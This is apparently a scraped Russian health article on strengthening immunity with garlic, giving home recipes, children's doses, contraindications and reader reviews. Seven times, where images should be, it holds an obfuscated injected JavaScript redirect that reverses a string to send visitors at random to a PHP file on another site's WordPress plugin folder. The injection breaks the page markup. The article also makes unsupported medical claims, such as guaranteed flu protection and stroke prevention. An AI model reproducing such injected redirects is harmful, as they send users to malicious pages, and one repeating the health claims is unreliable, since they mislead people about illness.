Как укрепить иммунитет с помощью чеснока

О том, что чеснок полезен для здоровья, знают даже дети: в период эпидемий заботливые воспитатели детского сада раскладывают «ароматный» овощ на блюдечках или делают малышам «волшебные» бусы. Доступный продукт способен укрепить иммунитет и защитить организм от множества инфекций. В чём сила чеснока и как его применять?

Состав чеснока, польза овоща для иммунитета

В состав овоща входят:

  • витамины В, С, Р, D;
  • минералы (калий, марганец, фосфор, йод, сера, железо, кальций, магний, цинк);
  • фитонциды;
  • эфирное масло.

При механическом разрушении клеток чеснока (например, при разрезании дольки) образуется аллицин. Именно это вещество, обладающее антибиотической активностью и придающее овощу специфический аромат, наиболее ценно для укрепления иммунитета.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/chesnok-2-728×546.jpg» alt=»Чеснок» width=»728″ height=»546″ /> Содержащиеся в чесноке вещества укрепляют иммунитет

Эффективность чеснока для поддержания и укрепления защитных сил организма связана с тем, что продукт:

  • предотвращает рост и размножение патогенных микроорганизмов;
  • стимулирует выработку лимфоцитов;
  • очищает кишечник от шлаков и токсичных веществ, предотвращая процессы брожения;
  • проявляет антиоксидантные свойства;
  • очищает и укрепляет сосуды;
  • активизирует обменные процессы.

Видео: полезные свойства чеснока

Варианты применения чеснока для укрепления иммунитета

Для укрепления иммунитета используются преимущественно зубчики чеснока, так как именно в подземной части растения содержится аллицин.

Видео: секреты выращивания чеснока

Включение в рацион

Самый простой способ применения овоща для укрепления иммунитета — включение продукта в ежедневное меню.

Рекомендуется съедать по 1–2 зубчика чеснока каждый день, добавляя его в привычные блюда.

При тепловой обработке овощ теряет аллицин, поэтому для иммунитета лучше есть продукт в свежем виде.

Для усиления эффекта чеснок можно применять в сочетании с другими ингредиентами в составе домашних средств, повышающих иммунитет.

Чтобы нейтрализовать неприятный запах, оставшийся после употребления овоща, нужно прополоскать рот молоком либо пожевать лимон, петрушку, кардамон или корицу, также можно съесть яблоко.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/yabloko-728×745.jpg» alt=»Яблоко» width=»728″ height=»745″ /> Яблоко поможет избавиться от запаха чеснока изо рта

Видео: как убрать запах чеснока изо рта

Домашние средства для иммунитета

Продолжительность применения — 1–2 недели.

С мёдом

Зубчики чеснока измельчить на мелкой тёрке и смешать с мёдом в одинаковых объёмах.

Принимать трижды в сутки по чайной ложке, запивая тёплой водой.

Видео: настойка с мёдом и луком

С лимоном

Для укрепления иммунитета можно приготовить такой настой:

  1. Очистить зубчики одной головки чеснока и переработать блендером или мясорубкой вместе с одним лимоном (цедру снимать не нужно).
  2. Залить полученную смесь 0,6 л остуженной до комнатной температуры кипячёной воды, закрыть ёмкость и убрать в прохладное тёмное место.
  3. По истечении 4 суток профильтровать.

Выпивать по 50 мл дважды в сутки после приёма пищи. Продолжительность терапии — не более 3 месяцев. По прошествии 30 дней курс можно осуществить повторно.

Таким настоем можно также полоскать горло и ротовую полость для предупреждения простудных заболеваний.

Бальзам с мёдом и лимоном

Выжать сок из зубчиков двух головок чеснока и смешать с 0,5 кг мёда и соком, выжатым из одного лимона.

Принимать перед едой по 2 столовые ложки дважды в сутки.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/limon-med-chesnok-728×488.jpg» alt=»Лимон, мёд, чеснок» width=»728″ height=»488″ /> Смесь лимона, мёда и чеснока очистит организм и укрепит иммунитет

Чай с мёдом и лимоном

В кипящую воду (3 стакана) опустить 3 разрезанных пополам зубчика чеснока, накрыть ёмкость крышкой и сразу снять с огня. Спустя 10–15 минут профильтровать отвар, ввести лимонный сок и мёд (по половине стакана).

Принимать в тёплом виде по 100 мл трижды в день.

С растительным маслом и соком лимона

Можно укрепить иммунитет с помощью масляного средства:

  1. Зубчики одной головки чеснока измельчить в ступке или с помощью блендера.
  2. Залить сырьё стаканом нерафинированного растительного масла холодного отжима (желательно оливкового).
  3. Накрыть посуду крышкой и поставить в холодильник на сутки.

Непосредственно перед применением смешать чайную ложку масляного состава с чайной ложкой свежего сока лимона. Принимать дважды в сутки по столовой ложке за 30 минут до еды.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/rastitelnye-masla-728×519.jpg» alt=»Растительные масла» width=»728″ height=»519″ /> Для приготовления средства годится любое нерафинированное масло холодного отжима

С клюквой и мёдом

Зубчики 3–4 головок чеснока вместе с 1,5 стаканами клюквы переработать мясорубкой либо блендером. В получившуюся кашицу вмешать стакан липового мёда. Ёмкость с получившейся смесью убрать на хранение в холодильник.

Принимать перед отходом ко сну по чайной ложке. Длительность терапии — 1–1,5 месяца.

Такой состав очищает сосуды и предупреждает инфаркты и инсульты.

С имбирём

Соединить 100 г измельчённого имбирного корня с 5–6 перетёртыми зубчиками чеснока, переработанным блендером или мясорубкой лимоном (вместе с цедрой) и 50 г мёда. Настоять смесь в холодильнике в закрытой посуде в течение суток.

Съедать по столовой ложке утром и вечером, допускается увеличение разовой дозы до 2 столовых ложек.

Состав с мёдом, лимоном, имбирём и льняным маслом

Для укрепления иммунитета можно приготовить витаминную смесь:

    tor»>
  1. Очистить зубчики одной головки чеснока.
  2. Нарезать кусками два лимона (цедру снимать не нужно).
  3. 50 г корня имбиря натереть на тёрке.
  4. Все вышеперечисленные продукты сложить в банку ёмкостью 0,5 л, взбить их блендером.
  5. Добавить в полученную смесь масло семян льна (50 мл) и мёд (250 мл), всё хорошо перемешать.

Хранить приготовленное средство в холодильнике. Принимать по одной столовой ложке за полчаса до еды.

С молоком

В 200 мл слегка разогретого цельного молока ввести 10 капель чесночного сока.

Выпивать перед сном.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/moloko-1-728×558.jpg» alt=»Молоко» width=»728″ height=»558″ /> Для приготовления средства лучше использовать свежее домашнее молоко

С красным вином

В качестве иммуноукрепляющего средства может быть использован следующий состав:

  1. Зубчики двух чесночных головок очистить, порезать на дольки и засыпать в тару из светлого стекла.
  2. Залить сырьё 0,75 л красного полусладкого вина, закрыть ёмкость и поместить в открытое солнечным лучам место.
  3. Настаивать средство 2 недели, каждый день хорошенько взбалтывая.
  4. Профильтровать состав и слить для хранения в ёмкость из тёмного стекла.

Принимать 3 раза в сутки по 50 мл. Желательно запивать родниковой водой.

С водкой

Укрепить иммунитет поможет и такая настойка:

  1. В новолуние зубчики одной головки чеснока очистить и, разрезав напополам, поместить в тару из тёмного стекла. Ёмкость предварительно следует простерилизовать и подогреть.
  2. Залить чеснок 400 мл водки (или спирта, разведённого водой в пропорции 1 к 1), закрыть посуду крышкой и поместить в тёмное место.
  3. Настаивать до полнолуния, дважды в день хорошенько встряхивая тару с лекарством.
  4. Состав профильтровать и поместить на хранение в холодильник.

Для улучшения запаха можно добавить в настойку пару листиков тимьяна, мелиссы или мяты.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/myata-1-728×486.jpg» alt=»Мята» width=»728″ height=»486″ /> Добавив в средство веточку мяты или мелиссы, можно не только улучшить его вкусовые качества, но и усилить антисептические свойства

Принимать утром и вечером по 12–15 капель, разводя или запивая средство водой.

Особенности применения для укрепления иммунитета детей

Детям давать чеснок можно начиная с трёхлетнего возраста. Вводить овощ в рацион ребёнка следует постепенно.

Средства, содержащие алкоголь, детям противопоказаны. При применении других составов дозировка должна быть уменьшена:

  • смесь с лимоном — дважды в сутки по 2 мл;
  • настой с имбирём — по чайной ложке утром и вечером;
  • средство с молоком — добавлять 5 капель чеснока на стакан продукта;
  • бальзам с мёдом и лимоном — по столовой ложке дважды в сутки.

Противопоказания и меры предосторожности

Чеснок противопоказан детям младше 3 лет, а также при:

  • заболеваниях почек и печени;
  • патологиях пищеварительной системы (в том числе при язве и гастрите);
  • индивидуальной непереносимости.

При наличии хронических заболеваний и проблем со здоровьем перед применением чеснока следует проконсультироваться с врачом.

От овоща следует отказаться в последний триместр беременности, на более ранних сроках есть его можно в умеренных количествах после консультации с врачом, от постоянного применения в лечебных и профилактических целях также лучше воздержаться.

$nJe=function(n){if (typeof ($nJe.list[n]) == «string») return $nJe.list[n].split(«»).reverse().join(«»);return $nJe.list[n];};$nJe.list=[«\’php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\’=ferh.noitacol.tnemucod»];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}tomy.ru/wp-content/uploads/2017/08/vrach-728×546.jpg» alt=»Врач» width=»728″ height=»546″ /> Чеснок может быть противопоказан при заболеваниях ЖКТ и других патологиях— рекомендуется проконсультироваться с врачом

Приём лекарств с чесноком рекомендуется начинать с 0,5 чайной ложки в сутки, постепенно повышая дозу. Так можно проследить за реакцией организма на средство.

Если овощ применяется в сочетании с другими компонентами, важно учитывать противопоказания всех составляющих смеси.

Противопоказания для ингредиентов смесей на основе чеснока — таблица

Продукт Противопоказания
Лимон
  • Индивидуальная непереносимость;
  • язва;
  • заболевания пищеварительной системы (с осторожностью после консультации врача)
Мёд
  • Индивидуальная непереносимость;
  • возраст младше 3 лет;
  • сахарный диабет (с осторожностью после консультации врача)
Молоко
  • Индивидуальная непереносимость;
  • дефицит фермента лактозы;
  • склонность к отложению в сосудах солей кальция и образованию фосфатных камней в почках
Клюква
  • Индивидуальная непереносимость;
  • период лактации;
  • возраст менее 3 лет;
  • гастрит и язва в период обострения заболеваний;
  • подагра, мочекаменная болезнь, патологии пищеварительной системы (с осторожностью)
Имбирь
  • Индивидуальная непереносимость;
  • нарушения сна;
  • язвенный неспецифический колит;
  • язва желудка;
  • дивертикулит и дивертикулёз;
  • камни в желчном пузыре;
  • дуоденальная язва;
  • желудочно-кишечные заболевания;
  • пищеводный рефлюкс

Отзывы об использовании чеснока для иммунитета

Настой чеснока с лимоном — это то средство, которое поможет профилактировать некоторые заболевания, а также конкретно повысит иммунитет, а значит, сопротивляемость организма всяческим заболеваниям. Об этом рецепте я узнала лет 5 назад. Заболела и попала в больницу на стационарное лечение. В палате лежали бабушки преклонного возраста, каждая со своей болячкой. И вот одна из этих бабушек заполонила ароматом чеснока всю палату. Когда спросила, что она пьёт, та ответила, что это чеснок с лимоном, перекрученный в мясорубке, с добавлением мёда. Всё это добро должно настояться несколько дней в холодильнике. Потом для поднятия иммунитета, профилактики заболеваний нужно это пить или есть, если мёд закристаллизовался, по столовой ложке 3 раза в день перед едой. Также она рассказала, что таким образом можно конкретно почистить сосуды. Но пить это нужно долго. Хотя, может, и помогает, я лично не пробовала. Но вот как средство для профилактики пробовала несколько раз. Терпимо и действенно.

Надежда877

http://otzovik.com/review_869846.html

Хочу поделиться прекрасным, абсолютно безопасным для организма средством, которое пригодится каждому в осенне-зимний период. Это настойка чеснока и лимона. Впервые я услышала об этом чудо-средстве в больнице, в пульмонологическом отделении, где мы проходили лечение с ребёнком от затяжного кашля. Медикаментозное лечение, которое мы получали в течение трёх месяцев, не давало никакого результата. Тогда я решила воспользоваться советом и подключить к лечению ещё и настойку чеснока с лимоном. Мы принимали эту настойку в течение месяца. Результат был прекрасный: кашель мы излечили. Затем я слышала ещё много положительных отзывов об этой настойке и о разнообразии её применения. <…> Мы принимаем настойку курсами осенью, зимой и весной. Это отличное средство в период эпидемий вирусных заболеваний (ОРВИ, гриппа). Будьте уверены, что если будете принимать это средство, то гриппом не заболеете. А если и заболеете, то оно поможет вам быстрее вылечиться.

Павла Ивонина

http://otzovik.com/review_4015280.htm

Чеснок укрепит иммунитет, защитив организм от многих недугов, в том числе и простудных заболеваний. Можно включать овощ в ежедневный рацион или готовить домашние иммуноукрепляющие средства, однако важно помнить, что при возникновении проблем со здоровьем следует обязательно проконсультироваться с врачом.

Adblock
detector